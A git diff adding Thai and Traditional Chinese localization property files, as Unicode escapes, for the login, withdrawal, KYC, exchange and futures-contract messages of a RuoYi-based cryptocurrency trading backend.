+contract.sell.earn.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E02\u0E32\u0E22\u0E0A\u0E2D\u0E23\u0E4C\u0E15 \u0E23\u0E32\u0E04\u0E32\u0E17\u0E33\u0E01\u0E33\u0E44\u0E23\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E39\u0E07\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.sell.loss.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E02\u0E32\u0E22\u0E0A\u0E2D\u0E23\u0E4C\u0E15 \u0E23\u0E32\u0E04\u0E32\u0E2B\u0E22\u0E38\u0E14\u0E02\u0E32\u0E14\u0E17\u0E38\u0E19\u0E08\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.num.limit=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07 +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +order.amount_error=\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E01\u0E32\u0E23\u0E40\u0E07\u0E34\u0E19\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D + +order.10s_retry=\u0E21\u0E35\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E1A\u0E48\u0E2D\u0E22\u0E40\u0E01\u0E34\u0E19\u0E44\u0E1B \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2B\u0E25\u0E31\u0E07\u0E08\u0E32\u0E01\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E1B 10 \u0E27\u0E34\u0E19\u0E32\u0E17\u0E35... +order_amount_limit=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E1C\u0E34\u0E14\u0E01\u0E0E\u0E2B\u0E21\u0E32\u0E22 + +contract.delivery.day=\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E2A\u0E48\u0E07\u0E22\u0E31\u0E07\u0E04\u0E07\u0E2D\u0E22\u0E39\u0E48: {0} \u0E27\u0E31\u0E19 +contract.delivery.margan=\u0E22\u0E31\u0E07\u0E21\u0E35\u0E40\u0E27\u0E25\u0E32: {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1} USDT \u0E2B\u0E23\u0E37\u0E2D\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {2} USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +contract.delivery.earn= \u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E40\u0E27\u0E25\u0E32\u0E2D\u0E35\u0E01 {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E16\u0E36\u0E07\u0E40\u0E27\u0E25\u0E32\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1} USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +contract.delivery.loss=\u0E22\u0E31\u0E07\u0E21\u0E35\u0E40\u0E27\u0E25\u0E32: {0} \u0E27\u0E31\u0E19\u0E01\u0E48\u0E2D\u0E19\u0E16\u0E36\u0E07\u0E40\u0E27\u0E25\u0E32\u0E2A\u0E48\u0E07\u0E21\u0E2D\u0E1A \u0E2B\u0E32\u0E01\u0E2B\u0E25\u0E31\u0E01\u0E1B\u0E23\u0E30\u0E01\u0E31\u0E19\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2B\u0E23\u0E37\u0E2D\u0E40\u0E17\u0E48\u0E32\u0E01\u0E31\u0E1A {1}USDT \u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E25\u0E48\u0E27\u0E07\u0E2B\u0E19\u0E49\u0E32\u0E44\u0E14\u0E49 +order.audit.error=\u0E2A\u0E48\u0E07\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E1B\u0E34\u0E14\u0E41\u0E25\u0E49\u0E27 +order.audit.pass=\u0E01\u0E33\u0E25\u0E31\u0E07\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E40\u0E15\u0E34\u0E21\u0E40\u0E07\u0E34\u0E19\u0E41\u0E25\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E01\u0E32\u0E23\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E08\u0E32\u0E01 5 \u0E42\u0E2B\u0E19\u0E14\u0E17\u0E31\u0E48\u0E27\u0E42\u0E25\u0E01 \u0E42\u0E1B\u0E23\u0E14\u0E23\u0E2D. + +#\u7533\u8D2D +own.coin.limit.num=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E17\u0E35\u0E48\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48{0} +own.coin.limit=\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D{0} +own.coin.success=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.error=\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E01\u0E34\u0E14\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +own.coin.sub.play=\u0E04\u0E38\u0E13\u0E44\u0E14\u0E49\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E41\u0E25\u0E49\u0E27 \u0E01\u0E23\u0E38\u0E13\u0E32\u0E2D\u0E22\u0E48\u0E32\u0E2A\u0E48\u0E07\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07! +own.coin.sub.error=\u0E01\u0E32\u0E23\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E08\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E43\u0E0A\u0E49\u0E44\u0E14\u0E49\u0E2B\u0E32\u0E01\u0E04\u0E38\u0E13\u0E22\u0E31\u0E07\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.sub.success=\u0E04\u0E38\u0E13\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E04\u0E38\u0E13\u0E2A\u0E21\u0E1A\u0E31\u0E15\u0E34\u0E01\u0E32\u0E23\u0E2A\u0E21\u0E31\u0E04\u0E23 {0} +own.coin.sub.num.error=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E43\u0E2B\u0E49\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +order.sell.min.error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E02\u0E32\u0E22\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +order.audit.reject=\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E1B\u0E34\u0E14\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E44\u0E14\u0E49 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +own.coin.subscribe.error=\u0E2A\u0E21\u0E31\u0E04\u0E23\u0E2A\u0E21\u0E32\u0E0A\u0E34\u0E01\u0E25\u0E49\u0E21\u0E40\u0E2B\u0E25\u0E27 +withdraw.kyc.error=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E01\u0E32\u0E23\u0E23\u0E31\u0E1A\u0E23\u0E2D\u0E07\u0E04\u0E27\u0E32\u0E21\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07\u0E02\u0E2D\u0E07\u0E0A\u0E37\u0E48\u0E2D\u0E08\u0E23\u0E34\u0E07\u0E01\u0E48\u0E2D\u0E19\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E22\u0E01\u0E40\u0E25\u0E34\u0E01\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14 +exchange_symbol_error_exist=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E43\u0E0A\u0E49\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19 +currency.coin.setting.nonexistent=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E01\u0E32\u0E23\u0E01\u0E33\u0E2B\u0E19\u0E14\u0E04\u0E48\u0E32 {} \u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19 +currency.balance.deficiency=\u0E22\u0E2D\u0E14\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19 {} \u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +currency.deal.error=\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E32\u0E22\u0E44\u0E14\u0E49 +back.code.exist.error=\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E18\u0E19\u0E32\u0E04\u0E32\u0E23\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u0E42\u0E1B\u0E23\u0E14\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E23\u0E31\u0E1A\u0E23\u0E2D\u0E07\u0E2B\u0E25\u0E31\u0E01\u0E01\u0E48\u0E2D\u0E19 + +#\u9ED1\u540D\u5355 +user_is_black = \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E25\u0E47\u0E04\u0E25\u0E34\u0E2A\u0E15\u0E4C\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E44\u0E14\u0E49 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +currency.order.max.error= \u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages_tw.properties b/ruoyi-api/src/main/resources/i18n/messages_tw.properties new file mode 100644 index 0000000..aa7b2e7 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_tw.properties @@ -0,0 +1,170 @@ +user.appname=\u4E2D\u6587\u7E41\u4F53 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u9808\u586B\u5BEB +user.jcaptcha.error=\u9A57\u8B49\u78BC\u932F\u8AA4 +user.jcaptcha.expire=\u9A57\u8B49\u78BC\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6236\u4E0D\u5B58\u5728/\u5BC6\u78BC\u932F\u8AA4 +user.password.not.match=\u7528\u6236\u4E0D\u5B58\u5728/\u5BC6\u78BC\u932F\u8AA4 +user.password.retry.limit.count=\u5BC6\u78BC\u8F38\u5165\u932F\u8AA4{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u78BC\u8F38\u5165\u932F\u8AA4{0}\u6B21\uFF0C\u5E33\u6236\u9396\u5B9A{1}\u5206\u9418 +user.password.delete=\u5C0D\u4E0D\u8D77\uFF0C\u60A8\u7684\u8CEC\u865F\u5DF2\u88AB\u522A\u9664 +user.blocked=\u7528\u6236\u5DF2\u5C01\u7981\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1 +login.blocked=\u5F88\u907A\u61BE\uFF0C\u8A2A\u554FIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7D71\u9ED1\u540D\u55AE +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u9577\u5EA6\u5FC5\u9808\u5728{min}\u5230{max}\u500B\u5B57\u7B26\u4E4B\u9593 + +user.username.not.valid=* 2\u523020\u500B\u6F22\u5B57\u3001\u5B57\u6BCD\u3001\u6578\u5B57\u6216\u4E0B\u5283\u7DDA\u7D44\u6210\uFF0C\u4E14\u5FC5\u9808\u4EE5\u975E\u6578\u5B57\u958B\u982D +user.password.not.valid=* 5-50\u500B\u5B57\u7B26 + +user.email.not.valid=\u90F5\u7BB1\u683C\u5F0F\u932F\u8AA4 +user.mobile.phone.number.not.valid=\u624B\u6A5F\u865F\u683C\u5F0F\u932F\u8AA4 +user.login.success=\u767B\u9304\u6210\u529F +user.register.success=\u8A3B\u518A\u6210\u529F +user.notfound=\u8ACB\u91CD\u65B0\u767B\u9304 +user.forcelogout=\u7BA1\u7406\u54E1\u5F37\u5236\u9000\u51FA\uFF0C\u8ACB\u91CD\u65B0\u767B\u9304 +user.unknown.error=\u672A\u77E5\u932F\u8AA4\uFF0C\u8ACB\u91CD\u65B0\u767B\u9304 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB! +upload.filename.exceed.length=\u4E0A\u50B3\u7684\u6587\u4EF6\u540D\u6700\u9577{0}\u500B\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6C92\u6709\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.create.permission=\u60A8\u6C92\u6709\u5275\u5EFA\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.update.permission=\u60A8\u6C92\u6709\u4FEE\u6539\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.delete.permission=\u60A8\u6C92\u6709\u522A\u9664\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.export.permission=\u60A8\u6C92\u6709\u5C0E\u51FA\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] +no.view.permission=\u60A8\u6C92\u6709\u67E5\u770B\u6578\u64DA\u7684\u6B0A\u9650\uFF0C\u8ACB\u806F\u7E6B\u7BA1\u7406\u54E1\u6DFB\u52A0\u6B0A\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90F5\u7BB1\u683C\u5F0F\u4E0D\u6B63\u78BA +user.register.email.exisit=\u90F5\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u624B\u6A5F\u865F\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6236\u540D\u5DF2\u7D93\u5B58\u5728 +login.user_error=\u7528\u6236\u540D\u6216\u5BC6\u78BC\u932F\u8AA4 +user.login.address.error=\u5730\u5740\u88AB\u4F54\u7528! +user.register.phone.exist=\u624B\u6A5F\u865F\u78BC\u5DF2\u7D93\u5B58\u5728 +user.register.phone.bind=\u624B\u6A5F\u865F\u78BC\u5DF2\u7D93\u7D81\u5B9A +#app +app.login.address.not.null=\u7528\u6236\u5730\u5740\u70BA\u7A7A +login.email.not_register=\u8ACB\u4F7F\u7528\u5DF2\u7D81\u5B9A\u90F5\u7BB1\u9032\u884C\u64CD\u4F5C +login.phone.not_register=\u8ACB\u4F7F\u7528\u5DF2\u7D81\u5B9A\u624B\u6A5F\u865F\u9032\u884C\u64CD\u4F5C +login.code_error=\u9A57\u8B49\u78BC\u932F\u8AA4 +user.login.code.error=\u9A57\u8B49\u78BC\u6548\u9A57\u5931\u6557! +user.login.password.null=\u8ACB\u8F38\u5165\u5BC6\u78BC! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u6A5F\u865F\u4E0D\u80FD\u70BA\u7A7A! +email.code_empty=\u90F5\u7BB1\u4E0D\u80FD\u70BA\u7A7A! +user.code.send=\u9A57\u8B49\u78BC\u767C\u9001\u6210\u529F +app.verification.email.code=\u9A57\u8B49\u78BC\u5DF2\u767C\u9001\u5230\u60A8\u7684\u90F5\u7BB1\uFF0C\u8ACB\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u78BC\u5DF2\u7D93\u8A2D\u7F6E\uFF0C\u8ACB\u52FF\u91CD\u8907\u7D81\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u78BC\u5DF2\u7D93\u8A2D\u7F6E\uFF0C\u8ACB\u52FF\u91CD\u8907\u7D81\u5B9A +user.login.null=\u7528\u6236\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u820A\u5BC6\u78BC\u672A\u8F38\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u78BC\u672A\u8F38\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u78BC\u4E0D\u80FD\u8207\u820A\u5BC6\u78BC\u4E00\u81F4\uFF01 + user.login.old.password.error=\u820A\u5BC6\u78BC\u932F\u8AA4\uFF01 +user.login.address.null=\u5730\u5740\u70BA\u7A7A\uFF01 +user.login.userid.null=\u7528\u6236ID\u70BA\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8ACB\u8A2D\u7F6E\u5B89\u5168\u5BC6\u78BC +tard_password.error=\u652F\u4ED8\u5BC6\u78BC\u932F\u8AA4 +withdraw.amount_number_exceed=\u7576\u65E5\u63D0\u73FE\u8D85\u904E\u8A2D\u5B9A\u6B21\u6578 +withdraw_error=\u9918\u984D\u4E0D\u8DB3\uFF0C\u7121\u6CD5\u63D0\u73FE +withdraw.amount_error=\u63D0\u73FE\u91D1\u984D\u932F\u8AA4\uFF0C\u8ACB\u4FEE\u6539 +withdraw.refresh=\u8ACB\u5237\u65B0 +withdraw.address.isnull=\u8ACB\u586B\u5BEB\u6B63\u78BA\u7684\u9AD4\u73FE\u5730\u5740\uFF01 +withdraw_require_error = \u76EE\u524D\u9084\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E63\u7A2E\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E63\u7A2E\u532F\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u514C\u63DB\u7684\u5E63\u7A2E\u4E0D\u80FD\u70BA\u7A7A,\u514C\u63DB\u91D1\u984D\u5FC5\u9808\u5927\u65BC0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u984D\u70BA{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u984D\u70BA{0} +currency.exchange_min = \u6700\u5C0F\u514C\u63DB\u91D1\u984D\u70BA{0} +currency.exchange_max = \u6700\u5927\u514C\u63DB\u91D1\u984D\u70BA{0} +exchange_error=\u514C\u63DB\u91D1\u984D\u5927\u65BC\u8CEC\u6236\u9918\u984D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B46\u514C\u63DB\u6B63\u5728\u9032\u884C\u4E2D\uFF0C\u7A0D\u5F8C\u518D\u8A66 +exchange_symbol_error_exist =\u514C\u63DB\u5E63\u7A2E\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u9322\u5305\u9918\u984D\u4E0D\u8DB3\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order_10s_retry=\u4E0B\u55AE\u904E\u65BC\u983B\u7E41\uFF0C\u8ACB10s\u5F8C\u5617\u8A66\u4E0B\u55AE... +#\u7406\u8D22 +user.push.message=\u7528\u6236\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7D1A\u4E0D\u5920\uFF0C\u7121\u6CD5\u8CFC\u8CB7\u6B21\u7406\u8CA1\u7522\u54C1 +order.single.min=\u8CFC\u8CB7\u7684\u91D1\u984D\u5C11\u65BC\u6700\u4F4E\u9650\u984D\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order.single.max=\u8CFC\u8CB7\u7684\u91D1\u984D\u5927\u65BC\u6700\u5927\u9650\u984D\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order.buy.insufficient=\u60A8\u7576\u524D\u6700\u591A\u53EF\u8CFC\u8CB7\u91D1\u984D\u70BA{0} +product.removed=\u7522\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6236\u5DF2\u5230\u9054\u9650\u5236\u6B21\u6578,\u4E0D\u5141\u8A31\u8CFC\u8CB7 +days.not.null=\u8CFC\u8CB7\u9031\u671F\u70BA\u7A7A +days.not.error=\u8CFC\u8CB7\u9031\u671F\u932F\u8AA4 + +contract.accont.error=\u5408\u7D04\u8CEC\u6236\u9918\u984D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8CFC\u8CB7\u6578\u70BA{0} +contract.max.share=\u6700\u9AD8\u8CFC\u8CB7\u6578\u70BA{0} +contract.asset.error=\u5408\u7D04\u8CEC\u6236\u9918\u984D\u4E0D\u8DB3 +adjust.min.error=\u6E1B\u5C11\u7684\u4FDD\u8B49\u91D1\u4E0D\u80FD\u5C0F\u65BC\u521D\u59CB\u4FDD\u8B49\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u8CB7\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u50F9\u4E0D\u80FD\u5C0F\u65BC\u958B\u5009\u5747\u50F9 +contract.buy.loss.error=\u8CB7\u5165\u505A\u591A\uFF0C\u6B62\u640D\u50F9\u4E0D\u80FD\u5927\u65BC\u958B\u5009\u5747\u50F9 +contract.sell.earn.error=\u8CE3\u51FA\u958B\u7A7A\uFF0C\u6B62\u76C8\u50F9\u4E0D\u80FD\u5927\u65BC\u958B\u5009\u5747\u50F9 +contract.sell.loss.error=\u8CE3\u51FA\u958B\u7A7A,\u6B62\u640D\u50F9\u4E0D\u80FD\u5C0F\u65BC\u958B\u5009\u5747\u50F9 +contract.num.limit=\u6578\u91CF\u4E0D\u80FD\u5927\u65BC\u6301\u5009\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u9918\u984D\u4E0D\u8DB3 + +order.amount_error=\u9918\u984D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u55AE\u904E\u65BC\u983B\u7E41\uFF0C\u8ACB10s\u5F8C\u5617\u8A66\u4E0B\u55AE... + +back.code.exist.error = \u9280\u884C\u5361\u865F\u5DF2\u7D93\u5B58\u5728 + +contract.delivery.day=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u5927\u65BC\u7B49\u65BC{1} USDT \u6216\u6301\u5009\u4FDD\u8B49\u91D1\u5C0F\u65BC\u7B49\u65BC{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +contract.delivery.earn=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u5927\u65BC\u7B49\u65BC{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +contract.delivery.loss=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u7522\u5C0F\u65BC\u7B49\u65BC{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D 